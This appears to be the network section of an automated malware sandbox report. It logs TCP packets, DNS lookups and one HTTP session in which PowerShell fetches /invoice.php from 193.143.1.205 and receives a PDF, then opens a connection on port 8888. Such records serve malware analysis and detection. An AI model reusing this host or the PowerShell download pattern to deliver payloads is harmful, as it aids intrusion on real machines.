Jan 11, 2025 08:31:37.801939964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.801956892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.802089930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.802103996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.802104950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.802119970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.802135944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.802148104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.802207947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.818697929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.818713903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.818730116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.818749905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.818762064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.818778038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.818778992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.818806887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.818871975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.818887949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.818905115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.818958044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.818958044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.832820892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.832851887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.832904100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.832940102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.832968950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.832969904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.833013058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.833026886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833062887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833074093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.833113909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833146095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833178043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.833197117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833229065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833261967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833295107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833303928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.833303928 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.833328009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833363056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833384991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.833396912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.833462000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.849844933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.849899054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.849929094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.849982977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850034952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850034952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850038052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850089073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850121975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850157022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850188971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850223064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850270987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850271940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850271940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850271940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850322008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850356102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850363970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850389957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850425959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850452900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850471973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850521088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850531101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850554943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850590944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850657940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850696087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850696087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850708961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850744963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850790977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850795031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850827932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850862026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.850888968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.850955963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851007938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851039886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851044893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851073980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851106882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851109028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851140022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851174116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851174116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851356983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851361036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851408958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851443052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851459980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851473093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851506948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851542950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851558924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851592064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851639032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851672888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851689100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851690054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851706982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851741076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851774931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851809978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.851814032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851814032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.851983070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852016926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852031946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.852051973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852085114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852118015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852152109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852159023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.852159023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.852189064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852221966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852257013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852262974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.852293015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.852448940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852483034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852516890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852550030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852586031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852595091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.852595091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.852618933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852652073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852684975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852720022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852741003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.852741957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.852786064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.852888107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.863811970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.863842010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.863892078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.863925934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.863959074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.863992929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864026070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864051104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864051104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864051104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864078045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864128113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864137888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864162922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864195108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864228964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864262104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864312887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864334106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864334106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864345074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864372015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864378929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864459991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864468098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864494085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864527941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864568949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864600897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864634991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864666939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.864674091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864674091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.864702940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.910428047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.127549887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.127639055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.399821997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.404782057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.404820919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.404840946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.404864073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.404931068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.404947996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.404963017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.404979944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405003071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405003071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405075073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405102015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405117989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405127048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405133963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405148983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405165911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405174971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405180931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405200958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405235052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405569077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405586958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405602932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405616045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405620098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405636072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405653000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405662060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405668974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405684948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405689001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405702114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405787945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405893087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405909061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405924082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405949116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405951023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405961037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.405966997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405982018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.405997992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406008959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.406013966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406029940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406045914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406070948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.406070948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.406481981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406497955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406517029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406531096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.406534910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406549931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406567097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406582117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406589031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.406589031 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.406595945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:38.406661987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.457231998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:38.901073933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:39.088890076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:39.672240019 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:39.677068949 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:39.677498102 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:39.677498102 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:39.682313919 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:40.470968008 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:40.519736052 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:40.707508087 CET	49712	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:31:52.650449991 CET	49874	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:32:16.443983078 CET	49285	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:32:40.491009951 CET	65298	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:31:52.650449991 CET	192.168.2.6	1.1.1.1	0xefa0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:32:16.443983078 CET	192.168.2.6	1.1.1.1	0xb18e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:32:40.491009951 CET	192.168.2.6	1.1.1.1	0x632a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 08:31:52.657144070 CET	1.1.1.1	192.168.2.6	0xefa0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:32:16.451827049 CET	1.1.1.1	192.168.2.6	0xb18e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:32:40.499380112 CET	1.1.1.1	192.168.2.6	0x632a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	2216	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:31:36.409137011 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:31:37.204947948 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:31:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:31:37.204972029 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:31:37.204988956 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:31:37.205074072 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
